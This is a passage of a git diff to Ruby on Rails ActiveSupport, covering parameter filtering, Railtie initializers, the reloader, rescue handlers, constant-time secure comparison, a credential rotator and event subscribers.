+    FILTERED = "[FILTERED]" # :nodoc:
+
+    # Precompiles an array of filters that otherwise would be passed directly to
+    # #initialize. Depending on the quantity and types of filters,
+    # precompilation can improve filtering performance, especially in the case
+    # where the ParameterFilter instance itself cannot be retained (but the
+    # precompiled filters can be retained).
+    #
+    #   filters = [/foo/, :bar, "nested.baz", /nested\.qux/]
+    #
+    #   precompiled = ActiveSupport::ParameterFilter.precompile_filters(filters)
+    #   # => [/(?-mix:foo)|(?i:bar)/, /(?i:nested\.baz)|(?-mix:nested\.qux)/]
+    #
+    #   ActiveSupport::ParameterFilter.new(precompiled)
+    #
+    def self.precompile_filters(filters)
+      filters, patterns = filters.partition { |filter| filter.is_a?(Proc) }
+
+      patterns.map! do |pattern|
+        pattern.is_a?(Regexp) ? pattern : "(?i:#{Regexp.escape pattern.to_s})"
+      end
+
+      deep_patterns = patterns.extract! { |pattern| pattern.to_s.include?("\\.") }
+
+      filters << Regexp.new(patterns.join("|")) if patterns.any?
+      filters << Regexp.new(deep_patterns.join("|")) if deep_patterns.any?
+
+      filters
+    end
+
+    # Create instance with given filters. Supported type of filters are +String+, +Regexp+, and +Proc+.
+    # Other types of filters are treated as +String+ using +to_s+.
+    # For +Proc+ filters, key, value, and optional original hash is passed to block arguments.
+    #
+    # ==== Options
+    #
+    # * <tt>:mask</tt> - A replaced object when filtered. Defaults to <tt>"[FILTERED]"</tt>.
+    def initialize(filters = [], mask: FILTERED)
+      @mask = mask
+      compile_filters!(filters)
+    end
+
+    # Mask value of +params+ if key matches one of filters.
+    def filter(params)
+      @no_filters ? params.dup : call(params)
+    end
+
+    # Returns filtered value for given key. For +Proc+ filters, third block argument is not populated.
+    def filter_param(key, value)
+      @no_filters ? value : value_for_key(key, value)
+    end
+
+  private
+    def compile_filters!(filters)
+      @no_filters = filters.empty?
+      return if @no_filters
+
+      @regexps, strings = [], []
+      @deep_regexps, deep_strings = nil, nil
+      @blocks = nil
+
+      filters.each do |item|
+        case item
+        when Proc
+          (@blocks ||= []) << item
+        when Regexp
+          if item.to_s.include?("\\.")
+            (@deep_regexps ||= []) << item
+          else
+            @regexps << item
+          end
+        else
+          s = Regexp.escape(item.to_s)
+          if s.include?("\\.")
+            (deep_strings ||= []) << s
+          else
+            strings << s
+          end
+        end
+      end
+
+      @regexps << Regexp.new(strings.join("|"), true) unless strings.empty?
+      (@deep_regexps ||= []) << Regexp.new(deep_strings.join("|"), true) if deep_strings
+    end
+
+    def call(params, full_parent_key = nil, original_params = params)
+      filtered_params = params.class.new
+
+      params.each do |key, value|
+        filtered_params[key] = value_for_key(key, value, full_parent_key, original_params)
+      end
+
+      filtered_params
+    end
+
+    def value_for_key(key, value, full_parent_key = nil, original_params = nil)
+      if @deep_regexps
+        full_key = full_parent_key ? "#{full_parent_key}.#{key}" : key.to_s
+      end
+
+      if @regexps.any? { |r| r.match?(key.to_s) }
+        value = @mask
+      elsif @deep_regexps&.any? { |r| r.match?(full_key) }
+        value = @mask
+      elsif value.is_a?(Hash)
+        value = call(value, full_key, original_params)
+      elsif value.is_a?(Array)
+        value = value.map { |v| value_for_key(key, v, full_parent_key, original_params) }
+      elsif @blocks
+        key = key.dup if key.duplicable?
+        value = value.dup if value.duplicable?
+        @blocks.each { |b| b.arity == 2 ? b.call(key, value) : b.call(key, value, original_params) }
+      end
+
+      value
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/per_thread_registry.rb b/activesupport/lib/active_support/per_thread_registry.rb
deleted file mode 100644
index 02431704d33ce..0000000000000
--- a/activesupport/lib/active_support/per_thread_registry.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-require "active_support/core_ext/module/delegation"
-
-module ActiveSupport
-  # NOTE: This approach has been deprecated for end-user code in favor of {thread_mattr_accessor}[rdoc-ref:Module#thread_mattr_accessor] and friends.
-  # Please use that approach instead.
-  #
-  # This module is used to encapsulate access to thread local variables.
-  #
-  # Instead of polluting the thread locals namespace:
-  #
-  #   Thread.current[:connection_handler]
-  #
-  # you define a class that extends this module:
-  #
-  #   module ActiveRecord
-  #     class RuntimeRegistry
-  #       extend ActiveSupport::PerThreadRegistry
-  #
-  #       attr_accessor :connection_handler
-  #     end
-  #   end
-  #
-  # and invoke the declared instance accessors as class methods. So
-  #
-  #   ActiveRecord::RuntimeRegistry.connection_handler = connection_handler
-  #
-  # sets a connection handler local to the current thread, and
-  #
-  #   ActiveRecord::RuntimeRegistry.connection_handler
-  #
-  # returns a connection handler local to the current thread.
-  #
-  # This feature is accomplished by instantiating the class and storing the
-  # instance as a thread local keyed by the class name. In the example above
-  # a key "ActiveRecord::RuntimeRegistry" is stored in <tt>Thread.current</tt>.
-  # The class methods proxy to said thread local instance.
-  #
-  # If the class has an initializer, it must accept no arguments.
-  module PerThreadRegistry
-    def self.extended(object)
-      object.instance_variable_set "@per_thread_registry_key", object.name.freeze
-    end
-
-    def instance
-      Thread.current[@per_thread_registry_key] ||= new
-    end
-
-    private
-      def method_missing(name, *args, &block)
-        # Caches the method definition as a singleton method of the receiver.
-        #
-        # By letting #delegate handle it, we avoid an enclosure that'll capture args.
-        singleton_class.delegate name, to: :instance
-
-        send(name, *args, &block)
-      end
-  end
-end
diff --git a/activesupport/lib/active_support/proxy_object.rb b/activesupport/lib/active_support/proxy_object.rb
deleted file mode 100644
index 20a0fd8e62014..0000000000000
--- a/activesupport/lib/active_support/proxy_object.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module ActiveSupport
-  # A class with no predefined methods that behaves similarly to Builder's
-  # BlankSlate. Used for proxy classes.
-  class ProxyObject < ::BasicObject
-    undef_method :==
-    undef_method :equal?
-
-    # Let ActiveSupport::ProxyObject at least raise exceptions.
-    def raise(*args)
-      ::Object.send(:raise, *args)
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/rails.rb b/activesupport/lib/active_support/rails.rb
index f6b018f0d3770..75676a2e47a13 100644
--- a/activesupport/lib/active_support/rails.rb
+++ b/activesupport/lib/active_support/rails.rb
@@ -1,4 +1,6 @@
-# This is private interface.
+# frozen_string_literal: true
+
+# This is a private interface.
 #
 # Rails components cherry pick from Active Support as needed, but there are a
 # few features that are used for sure in some way or another and it is not worth
@@ -11,9 +13,6 @@
 # Defines Object#blank? and Object#present?.
 require "active_support/core_ext/object/blank"
 
-# Rails own autoload, eager_load, etc.
-require "active_support/dependencies/autoload"
-
 # Support for ClassMethods and the included macro.
 require "active_support/concern"
 
@@ -25,9 +24,3 @@
 
 # Defines ActiveSupport::Deprecation.
 require "active_support/deprecation"
-
-# Defines Regexp#match?.
-#
-# This should be removed when Rails needs Ruby 2.4 or later, and the require
-# added where other Regexp extensions are being used (easy to grep).
-require "active_support/core_ext/regexp"
diff --git a/activesupport/lib/active_support/railtie.rb b/activesupport/lib/active_support/railtie.rb
index b875875afe2da..fbe9ff63a95bb 100644
--- a/activesupport/lib/active_support/railtie.rb
+++ b/activesupport/lib/active_support/railtie.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support"
 require "active_support/i18n_railtie"
 
@@ -7,9 +9,100 @@ class Railtie < Rails::Railtie # :nodoc:
 
     config.eager_load_namespaces << ActiveSupport
 
+    initializer "active_support.deprecator", before: :load_environment_config do |app|
+      app.deprecators[:active_support] = ActiveSupport.deprecator
+    end
+
+    initializer "active_support.isolation_level" do |app|
+      config.after_initialize do
+        if level = app.config.active_support.isolation_level
+          ActiveSupport::IsolatedExecutionState.isolation_level = level
+        end
+      end
+    end
+
+    initializer "active_support.raise_on_invalid_cache_expiration_time" do |app|
+      config.after_initialize do
+        if app.config.active_support.raise_on_invalid_cache_expiration_time
+          ActiveSupport::Cache::Store.raise_on_invalid_cache_expiration_time = true
+        end
+      end
+    end
+
+    initializer "active_support.set_authenticated_message_encryption" do |app|
+      config.after_initialize do
+        unless app.config.active_support.use_authenticated_message_encryption.nil?
+          ActiveSupport::MessageEncryptor.use_authenticated_message_encryption =
+            app.config.active_support.use_authenticated_message_encryption
+        end
+      end
+    end
+
+    initializer "active_support.set_event_reporter_context_store" do |app|
+      config.after_initialize do
+        if klass = app.config.active_support.event_reporter_context_store
+          ActiveSupport::EventReporter.context_store = klass
+        end
+      end
+    end
+
+    initializer "active_support.reset_execution_context" do |app|
+      app.reloader.before_class_unload do
+        ActiveSupport::CurrentAttributes.clear_all
+        ActiveSupport::ExecutionContext.clear
+        ActiveSupport.event_reporter.clear_context
+      end
+
+      app.executor.to_run do
+        ActiveSupport::ExecutionContext.push
+      end
+
+      app.executor.to_complete do
+        ActiveSupport::CurrentAttributes.clear_all
+        ActiveSupport::ExecutionContext.pop
+        ActiveSupport.event_reporter.clear_context
+      end
+
+      ActiveSupport.on_load(:active_support_test_case) do
+        if app.config.active_support.executor_around_test_case
+          ActiveSupport::ExecutionContext.nestable = true
+
+          require "active_support/executor/test_helper"
+          include ActiveSupport::Executor::TestHelper
+        else
+          require "active_support/current_attributes/test_helper"
+          include ActiveSupport::CurrentAttributes::TestHelper
+
+          require "active_support/execution_context/test_helper"
+          include ActiveSupport::ExecutionContext::TestHelper
+        end
+      end
+    end
+
+    initializer "active_support.set_filter_parameters" do |app|
+      config.after_initialize do
+        ActiveSupport.filter_parameters += Rails.application.config.filter_parameters
+        ActiveSupport.event_reporter.reload_payload_filter
+      end
+    end
+
     initializer "active_support.deprecation_behavior" do |app|
-      if deprecation = app.config.active_support.deprecation
-        ActiveSupport::Deprecation.behavior = deprecation
+      if app.config.active_support.report_deprecations == false
+        app.deprecators.silenced = true
+        app.deprecators.behavior = :silence
+        app.deprecators.disallowed_behavior = :silence
+      else
+        if deprecation = app.config.active_support.deprecation
+          app.deprecators.behavior = deprecation
+        end
+
+        if disallowed_deprecation = app.config.active_support.disallowed_deprecation
+          app.deprecators.disallowed_behavior = disallowed_deprecation
+        end
+
+        if disallowed_warnings = app.config.active_support.disallowed_deprecation_warnings
+          app.deprecators.disallowed_warnings = disallowed_warnings
+        end
       end
     end
 
@@ -19,17 +112,11 @@ class Railtie < Rails::Railtie # :nodoc:
       begin
         TZInfo::DataSource.get
       rescue TZInfo::DataSourceNotFound => e
-        raise e.exception "tzinfo-data is not present. Please add gem 'tzinfo-data' to your Gemfile and run bundle install"
+        raise e.exception('tzinfo-data is not present. Please add gem "tzinfo-data" to your Gemfile and run bundle install')
       end
       require "active_support/core_ext/time/zones"
-      zone_default = Time.find_zone!(app.config.time_zone)
-
-      unless zone_default
-        raise "Value assigned to config.time_zone not recognized. " \
-          'Run "rake time:zones:all" for a time zone names list.'
-      end
-
-      Time.zone_default = zone_default
+      Time.zone_default = Time.find_zone!(app.config.time_zone)
+      config.eager_load_namespaces << TZInfo
     end
 
     # Sets the default week start
@@ -41,10 +128,52 @@ class Railtie < Rails::Railtie # :nodoc:
       Date.beginning_of_week_default = beginning_of_week_default
     end
 
+    initializer "active_support.require_master_key" do |app|
+      if app.config.respond_to?(:require_master_key) && app.config.require_master_key
+        begin
+          app.credentials.key
+        rescue ActiveSupport::EncryptedFile::MissingKeyError => error
+          $stderr.puts error.message
+          exit 1
+        end
+      end
+    end
+
     initializer "active_support.set_configs" do |app|
       app.config.active_support.each do |k, v|
         k = "#{k}="
-        ActiveSupport.send(k, v) if ActiveSupport.respond_to? k
+        ActiveSupport.public_send(k, v) if ActiveSupport.respond_to? k
+      end
+    end
+
+    initializer "active_support.set_hash_digest_class" do |app|
+      config.after_initialize do
+        if klass = app.config.active_support.hash_digest_class
+          ActiveSupport::Digest.hash_digest_class = klass
+        end
+      end
+    end
+
+    initializer "active_support.set_key_generator_hash_digest_class" do |app|
+      config.after_initialize do
+        if klass = app.config.active_support.key_generator_hash_digest_class
+          ActiveSupport::KeyGenerator.hash_digest_class = klass
+        end
+      end
+    end
+
+    initializer "active_support.set_default_message_serializer" do |app|
+      config.after_initialize do
+        if message_serializer = app.config.active_support.message_serializer
+          ActiveSupport::Messages::Codec.default_serializer = message_serializer
+        end
+      end
+    end
+
+    initializer "active_support.set_use_message_serializer_for_metadata" do |app|
+      config.after_initialize do
+        ActiveSupport::Messages::Metadata.use_message_serializer_for_metadata =
+          app.config.active_support.use_message_serializer_for_metadata
       end
     end
   end
diff --git a/activesupport/lib/active_support/reloader.rb b/activesupport/lib/active_support/reloader.rb
index 121c621751d80..33257ed73a9d3 100644
--- a/activesupport/lib/active_support/reloader.rb
+++ b/activesupport/lib/active_support/reloader.rb
@@ -1,7 +1,11 @@
+# frozen_string_literal: true
+
 require "active_support/execution_wrapper"
+require "active_support/executor"
 
 module ActiveSupport
-  #--
+  # = Active Support \Reloader
+  #
   # This class defines several callbacks:
   #
   #   to_prepare -- Run once at application startup, and also from
@@ -26,14 +30,17 @@ class Reloader < ExecutionWrapper
 
     define_callbacks :class_unload
 
+    # Registers a callback that will run once at application startup and every time the code is reloaded.
     def self.to_prepare(*args, &block)
       set_callback(:prepare, *args, &block)
     end
 
+    # Registers a callback that will run immediately before the classes are unloaded.
     def self.before_class_unload(*args, &block)
       set_callback(:class_unload, *args, &block)
     end
 
+    # Registers a callback that will run immediately after the classes are unloaded.
     def self.after_class_unload(*args, &block)
       set_callback(:class_unload, :after, *args, &block)
     end
@@ -44,17 +51,15 @@ def self.after_class_unload(*args, &block)
     def self.reload!
       executor.wrap do
         new.tap do |instance|
-          begin
-            instance.run!
-          ensure
-            instance.complete!
-          end
+          instance.run!
+        ensure
+          instance.complete!
         end
       end
       prepare!
     end
 
-    def self.run! # :nodoc:
+    def self.run!(reset: false) # :nodoc:
       if check!
         super
       else
@@ -63,17 +68,21 @@ def self.run! # :nodoc:
     end
 
     # Run the supplied block as a work unit, reloading code as needed
-    def self.wrap
-      executor.wrap do
-        super
+    def self.wrap(**kwargs)
+      return yield if active?
+
+      executor.wrap(**kwargs) do
+        instance = run!
+        begin
+          yield
+        ensure
+          instance.complete!
+        end
       end
     end
 
-    class_attribute :executor
-    class_attribute :check
-
-    self.executor = Executor
-    self.check = lambda { false }
+    class_attribute :executor, default: Executor
+    class_attribute :check, default: lambda { false }
 
     def self.check! # :nodoc:
       @should_reload ||= check.call
diff --git a/activesupport/lib/active_support/rescuable.rb b/activesupport/lib/active_support/rescuable.rb
index ee6592fb5a1ce..470f01d942fc1 100644
--- a/activesupport/lib/active_support/rescuable.rb
+++ b/activesupport/lib/active_support/rescuable.rb
@@ -1,24 +1,27 @@
+# frozen_string_literal: true
+
 require "active_support/concern"
 require "active_support/core_ext/class/attribute"
 require "active_support/core_ext/string/inflections"
 
 module ActiveSupport
+  # = Active Support \Rescuable
+  #
   # Rescuable module adds support for easier exception handling.
   module Rescuable
     extend Concern
 
     included do
-      class_attribute :rescue_handlers
-      self.rescue_handlers = []
+      class_attribute :rescue_handlers, default: []
     end
 
     module ClassMethods
-      # Rescue exceptions raised in controller actions.
+      # Registers exception classes with a handler to be called by <tt>rescue_with_handler</tt>.
       #
       # <tt>rescue_from</tt> receives a series of exception classes or class
-      # names, and a trailing <tt>:with</tt> option with the name of a method
-      # or a Proc object to be called to handle them. Alternatively a block can
-      # be given.
+      # names, and an exception handler specified by a trailing <tt>:with</tt>
+      # option containing the name of a method or a Proc object. Alternatively, a block
+      # can be given as the handler.
       #
       # Handlers that take one argument will be called with the exception, so
       # that the exception can be inspected when dealing with it.
@@ -29,20 +32,20 @@ module ClassMethods
       # any.
       #
       #   class ApplicationController < ActionController::Base
-      #     rescue_from User::NotAuthorized, with: :deny_access # self defined exception
-      #     rescue_from ActiveRecord::RecordInvalid, with: :show_errors
+      #     rescue_from User::NotAuthorized, with: :deny_access
+      #     rescue_from ActiveRecord::RecordInvalid, with: :show_record_errors
       #
-      #     rescue_from 'MyAppError::Base' do |exception|
-      #       render xml: exception, status: 500
+      #     rescue_from "MyApp::BaseError" do |exception|
+      #       redirect_to root_url, alert: exception.message
       #     end
       #
       #     private
       #       def deny_access
-      #         ...
+      #         head :forbidden
       #       end
       #
-      #       def show_errors(exception)
-      #         exception.record.new_record? ? ...
+      #       def show_record_errors(exception)
+      #         redirect_back_or_to root_url, alert: exception.record.errors.full_messages.to_sentence
       #       end
       #   end
       #
@@ -73,27 +76,33 @@ def rescue_from(*klasses, with: nil, &block)
       # Matches an exception to a handler based on the exception class.
       #
       # If no handler matches the exception, check for a handler matching the
-      # (optional) exception.cause. If no handler matches the exception or its
+      # (optional) +exception.cause+. If no handler matches the exception or its
       # cause, this returns +nil+, so you can deal with unhandled exceptions.
       # Be sure to re-raise unhandled exceptions if this is what you expect.
       #
       #     begin
-      #       …
+      #       # ...
       #     rescue => exception
       #       rescue_with_handler(exception) || raise
       #     end
       #
       # Returns the exception if it was handled and +nil+ if it was not.
-      def rescue_with_handler(exception, object: self)
+      def rescue_with_handler(exception, object: self, visited_exceptions: [])
+        visited_exceptions << exception
+
         if handler = handler_for_rescue(exception, object: object)
           handler.call exception
           exception
         elsif exception
-          rescue_with_handler(exception.cause, object: object)
+          if visited_exceptions.include?(exception.cause)
+            nil
+          else
+            rescue_with_handler(exception.cause, object: object, visited_exceptions: visited_exceptions)
+          end
         end
       end
 
-      def handler_for_rescue(exception, object: self) #:nodoc:
+      def handler_for_rescue(exception, object: self) # :nodoc:
         case rescuer = find_rescue_handler(exception)
         when Symbol
           method = object.method(rescuer)
@@ -153,14 +162,14 @@ def constantize_rescue_handler_class(class_or_name)
     end
 
     # Delegates to the class method, but uses the instance as the subject for
-    # rescue_from handlers (method calls, instance_exec blocks).
+    # rescue_from handlers (method calls, +instance_exec+ blocks).
     def rescue_with_handler(exception)
       self.class.rescue_with_handler exception, object: self
     end
 
     # Internal handler lookup. Delegates to class method. Some libraries call
     # this directly, so keeping it around for compatibility.
-    def handler_for_rescue(exception) #:nodoc:
+    def handler_for_rescue(exception) # :nodoc:
       self.class.handler_for_rescue exception, object: self
     end
   end
diff --git a/activesupport/lib/active_support/secure_compare_rotator.rb b/activesupport/lib/active_support/secure_compare_rotator.rb
new file mode 100644
index 0000000000000..1c203898aacdf
--- /dev/null
+++ b/activesupport/lib/active_support/secure_compare_rotator.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require "active_support/security_utils"
+require "active_support/messages/rotator"
+
+module ActiveSupport
+  # = Secure Compare Rotator
+  #
+  # The ActiveSupport::SecureCompareRotator is a wrapper around ActiveSupport::SecurityUtils.secure_compare
+  # and allows you to rotate a previously defined value to a new one.
+  #
+  # It can be used as follow:
+  #
+  #   rotator = ActiveSupport::SecureCompareRotator.new('new_production_value')
+  #   rotator.rotate('previous_production_value')
+  #   rotator.secure_compare!('previous_production_value')
+  #
+  # One real use case example would be to rotate a basic auth credentials:
+  #
+  #   class MyController < ApplicationController
+  #     def authenticate_request
+  #       rotator = ActiveSupport::SecureCompareRotator.new('new_password')
+  #       rotator.rotate('old_password')
+  #
+  #       authenticate_or_request_with_http_basic do |username, password|
+  #         rotator.secure_compare!(password)
+  #       rescue ActiveSupport::SecureCompareRotator::InvalidMatch
+  #         false
+  #       end
+  #     end
+  #   end
+  class SecureCompareRotator
+    include SecurityUtils
+
+    InvalidMatch = Class.new(StandardError)
+
+    def initialize(value, on_rotation: nil)
+      @value = value
+      @rotate_values = []
+      @on_rotation = on_rotation
+    end
+
+    def rotate(previous_value)
+      @rotate_values << previous_value
+    end
+
+    def secure_compare!(other_value, on_rotation: @on_rotation)
+      if secure_compare(@value, other_value)
+        true
+      elsif @rotate_values.any? { |value| secure_compare(value, other_value) }
+        on_rotation&.call
+        true
+      else
+        raise InvalidMatch
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/security_utils.rb b/activesupport/lib/active_support/security_utils.rb
index b655d64449e63..aa00474448d9b 100644
--- a/activesupport/lib/active_support/security_utils.rb
+++ b/activesupport/lib/active_support/security_utils.rb
@@ -1,27 +1,38 @@
-require "digest"
+# frozen_string_literal: true
 
 module ActiveSupport
   module SecurityUtils
-    # Constant time string comparison.
+    # Constant time string comparison, for fixed length strings.
     #
     # The values compared should be of fixed length, such as strings
-    # that have already been processed by HMAC. This should not be used
-    # on variable length plaintext strings because it could leak length info
-    # via timing attacks.
-    def secure_compare(a, b)
-      return false unless a.bytesize == b.bytesize
+    # that have already been processed by HMAC. Raises in case of length mismatch.
+
+    if defined?(OpenSSL.fixed_length_secure_compare)
+      def fixed_length_secure_compare(a, b)
+        OpenSSL.fixed_length_secure_compare(a, b)
+      end
+    else
+      def fixed_length_secure_compare(a, b)
+        raise ArgumentError, "string length mismatch." unless a.bytesize == b.bytesize
 
-      l = a.unpack "C#{a.bytesize}"
+        l = a.unpack "C#{a.bytesize}"
 
-      res = 0
-      b.each_byte { |byte| res |= byte ^ l.shift }
-      res == 0
+        res = 0
+        b.each_byte { |byte| res |= byte ^ l.shift }
+        res == 0
+      end
     end
-    module_function :secure_compare
+    module_function :fixed_length_secure_compare
 
-    def variable_size_secure_compare(a, b) # :nodoc:
-      secure_compare(::Digest::SHA256.hexdigest(a), ::Digest::SHA256.hexdigest(b))
+    # Secure string comparison for strings of variable length.
+    #
+    # While a timing attack would not be able to discern the content of
+    # a secret compared via secure_compare, it is possible to determine
+    # the secret length. This should be considered when using secure_compare
+    # to compare weak, short secrets to user input.
+    def secure_compare(a, b)
+      a.bytesize == b.bytesize && fixed_length_secure_compare(a, b)
     end
-    module_function :variable_size_secure_compare
+    module_function :secure_compare
   end
 end
diff --git a/activesupport/lib/active_support/string_inquirer.rb b/activesupport/lib/active_support/string_inquirer.rb
index 90eac89c9e8b4..9b82df19d8ed4 100644
--- a/activesupport/lib/active_support/string_inquirer.rb
+++ b/activesupport/lib/active_support/string_inquirer.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
 module ActiveSupport
+  # = \String Inquirer
+  #
   # Wrapping a string in this class gives you a prettier way to test
   # for equality. The value returned by <tt>Rails.env</tt> is wrapped
   # in a StringInquirer object, so instead of calling this:
@@ -9,20 +13,19 @@ module ActiveSupport
   #
   #   Rails.env.production?
   #
-  # == Instantiating a new StringInquirer
+  # == Instantiating a new \StringInquirer
   #
   #   vehicle = ActiveSupport::StringInquirer.new('car')
   #   vehicle.car?   # => true
   #   vehicle.bike?  # => false
   class StringInquirer < String
     private
-
       def respond_to_missing?(method_name, include_private = false)
-        (method_name[-1] == "?") || super
+        method_name.end_with?("?") || super
       end
 
-      def method_missing(method_name, *arguments)
-        if method_name[-1] == "?"
+      def method_missing(method_name, ...)
+        if method_name.end_with?("?")
           self == method_name[0..-2]
         else
           super
diff --git a/activesupport/lib/active_support/structured_event_subscriber.rb b/activesupport/lib/active_support/structured_event_subscriber.rb
new file mode 100644
index 0000000000000..513919d5dd534
--- /dev/null
+++ b/activesupport/lib/active_support/structured_event_subscriber.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+require "active_support/subscriber"
+
+module ActiveSupport
+  # = Active Support Structured Event \Subscriber
+  #
+  # +ActiveSupport::StructuredEventSubscriber+ consumes ActiveSupport::Notifications
+  # in order to emit structured events via +Rails.event+.
+  #
+  # An example would be the Action Controller structured event subscriber, responsible for
+  # emitting request processing events:
+  #
+  #   module ActionController
+  #     class StructuredEventSubscriber < ActiveSupport::StructuredEventSubscriber
+  #       attach_to :action_controller
+  #
+  #       def start_processing(event)
+  #         emit_event("controller.request_started",
+  #           controller: event.payload[:controller],
+  #           action: event.payload[:action],
+  #           format: event.payload[:format]
+  #         )
+  #       end
+  #     end
+  #   end
+  #
+  # After configured, whenever a <tt>"start_processing.action_controller"</tt> notification is published,
+  # it will properly dispatch the event (+ActiveSupport::Notifications::Event+) to the +start_processing+ method.
+  # The subscriber can then emit a structured event via the +emit_event+ method.
+  class StructuredEventSubscriber < Subscriber
+    class_attribute :debug_methods, instance_accessor: false, default: [] # :nodoc:
+
+    DEBUG_CHECK = proc { !ActiveSupport.event_reporter.debug_mode? }
+
+    class << self
+      def attach_to(...) # :nodoc:
+        result = super
+        set_silenced_events
+        result
+      end
+
+      private
+        def set_silenced_events
+          if subscriber
+            subscriber.silenced_events = debug_methods.to_h { |method| ["#{method}.#{namespace}", DEBUG_CHECK] }
+          end
+        end
+
+        def debug_only(method)
+          self.debug_methods << method
+          set_silenced_events
+        end
+    end
+
+    def initialize
+      super
+      @silenced_events = {}
+    end
+
+    def silenced?(event)
+      ActiveSupport.event_reporter.subscribers.none? || @silenced_events[event]&.call
+    end
+
+    attr_writer :silenced_events # :nodoc:
+
+    # Emit a structured event via Rails.event.notify.
+    #
+    # ==== Arguments
+    #
+    # * +name+ - The event name as a string or symbol
+    # * +payload+ - The event payload as a hash or object
+    # * +caller_depth+ - Stack depth for source location (default: 1)
+    # * +kwargs+ - Additional payload data merged with the payload hash
+    def emit_event(name, payload = nil, caller_depth: 1, **kwargs)
+      ActiveSupport.event_reporter.notify(name, payload, caller_depth: caller_depth + 1, **kwargs)
+    rescue => e
+      handle_event_error(name, e)
+    end
+
+    # Like +emit_event+, but only emits when the event reporter is in debug mode
+    def emit_debug_event(name, payload = nil, caller_depth: 1, **kwargs)
+      ActiveSupport.event_reporter.debug(name, payload, caller_depth: caller_depth + 1, **kwargs)
+    rescue => e
+      handle_event_error(name, e)
+    end
+
+    def call(event)
+      super
+    rescue => e
+      handle_event_error(event.name, e)
+    end
+
+    private
+      def handle_event_error(name, error)
+        ActiveSupport.error_reporter.report(error, source: name)
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/subscriber.rb b/activesupport/lib/active_support/subscriber.rb
index 292413975504b..cf0ed610eada0 100644
--- a/activesupport/lib/active_support/subscriber.rb
+++ b/activesupport/lib/active_support/subscriber.rb
@@ -1,8 +1,11 @@
-require "active_support/per_thread_registry"
+# frozen_string_literal: true
+
 require "active_support/notifications"
 
 module ActiveSupport
-  # ActiveSupport::Subscriber is an object set to consume
+  # = Active Support \Subscriber
+  #
+  # +ActiveSupport::Subscriber+ is an object set to consume
   # ActiveSupport::Notifications. The subscriber dispatches notifications to
   # a registered object based on its given namespace.
   #
@@ -19,27 +22,52 @@ module ActiveSupport
   #     end
   #   end
   #
-  # After configured, whenever a "sql.active_record" notification is published,
-  # it will properly dispatch the event (ActiveSupport::Notifications::Event) to
-  # the +sql+ method.
+  # After configured, whenever a <tt>"sql.active_record"</tt> notification is
+  # published, it will properly dispatch the event
+  # (ActiveSupport::Notifications::Event) to the +sql+ method.
+  #
+  # We can detach a subscriber as well:
+  #
+  #   ActiveRecord::StatsSubscriber.detach_from(:active_record)
   class Subscriber
     class << self
       # Attach the subscriber to a namespace.
-      def attach_to(namespace, subscriber = new, notifier = ActiveSupport::Notifications)
+      def attach_to(namespace, subscriber = new, notifier = ActiveSupport::Notifications, inherit_all: false)
         @namespace  = namespace
         @subscriber = subscriber
         @notifier   = notifier
+        @inherit_all = inherit_all
 
         subscribers << subscriber
 
         # Add event subscribers for all existing methods on the class.
-        subscriber.public_methods(false).each do |event|
+        fetch_public_methods(subscriber, inherit_all).each do |event|
           add_event_subscriber(event)
         end
       end
 
+      # Detach the subscriber from a namespace.
+      def detach_from(namespace, notifier = ActiveSupport::Notifications)
+        @namespace  = namespace
+        @subscriber = find_attached_subscriber
+        @notifier   = notifier
+
+        return unless subscriber
+
+        subscribers.delete(subscriber)
+
+        # Remove event subscribers of all existing methods on the class.
+        fetch_public_methods(subscriber, true).each do |event|
+          remove_event_subscriber(event)
+        end
+
+        # Reset notifier so that event subscribers will not add for new methods added to the class.
+        @notifier = nil
+      end
+
       # Adds event subscribers for all new methods added to the class.
       def method_added(event)
+        super
         # Only public methods are added as subscribers, and only if a notifier
         # has been set up. This means that subscribers will only be set up for
         # classes that call #attach_to.
@@ -52,73 +80,62 @@ def subscribers
         @@subscribers ||= []
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-
-      attr_reader :subscriber, :notifier, :namespace
-
       private
+        attr_reader :subscriber, :notifier, :namespace
 
-      def add_event_subscriber(event) # :doc:
-        return if %w{ start finish }.include?(event.to_s)
+        def add_event_subscriber(event) # :doc:
+          return if invalid_event?(event)
 
-        pattern = "#{event}.#{namespace}"
+          pattern = prepare_pattern(event)
 
-        # Don't add multiple subscribers (eg. if methods are redefined).
-        return if subscriber.patterns.include?(pattern)
+          # Don't add multiple subscribers (e.g. if methods are redefined).
+          return if pattern_subscribed?(pattern)
 
-        subscriber.patterns << pattern
-        notifier.subscribe(pattern, subscriber)
-      end
-    end
+          subscriber.patterns[pattern] = notifier.subscribe(pattern, subscriber)
+        end
 
-    attr_reader :patterns # :nodoc:
+        def remove_event_subscriber(event) # :doc:
+          return if invalid_event?(event)
 
-    def initialize
-      @queue_key = [self.class.name, object_id].join "-"
-      @patterns  = []
-      super
-    end
+          pattern = prepare_pattern(event)
 
-    def start(name, id, payload)
-      e = ActiveSupport::Notifications::Event.new(name, Time.now, nil, id, payload)
-      parent = event_stack.last
-      parent << e if parent
+          return unless pattern_subscribed?(pattern)
 
-      event_stack.push e
-    end
+          notifier.unsubscribe(subscriber.patterns[pattern])
+          subscriber.patterns.delete(pattern)
+        end
 
-    def finish(name, id, payload)
-      finished  = Time.now
-      event     = event_stack.pop
-      event.end = finished
-      event.payload.merge!(payload)
+        def find_attached_subscriber
+          subscribers.find { |attached_subscriber| attached_subscriber.instance_of?(self) }
+        end
 
-      method = name.split(".".freeze).first
-      send(method, event)
-    end
+        def invalid_event?(event)
+          %i{ start finish }.include?(event.to_sym)
+        end
 
-    private
+        def prepare_pattern(event)
+          "#{event}.#{namespace}"
+        end
 
-      def event_stack
-        SubscriberQueueRegistry.instance.get_queue(@queue_key)
-      end
-  end
+        def pattern_subscribed?(pattern)
+          subscriber.patterns.key?(pattern)
+        end
 
-  # This is a registry for all the event stacks kept for subscribers.
-  #
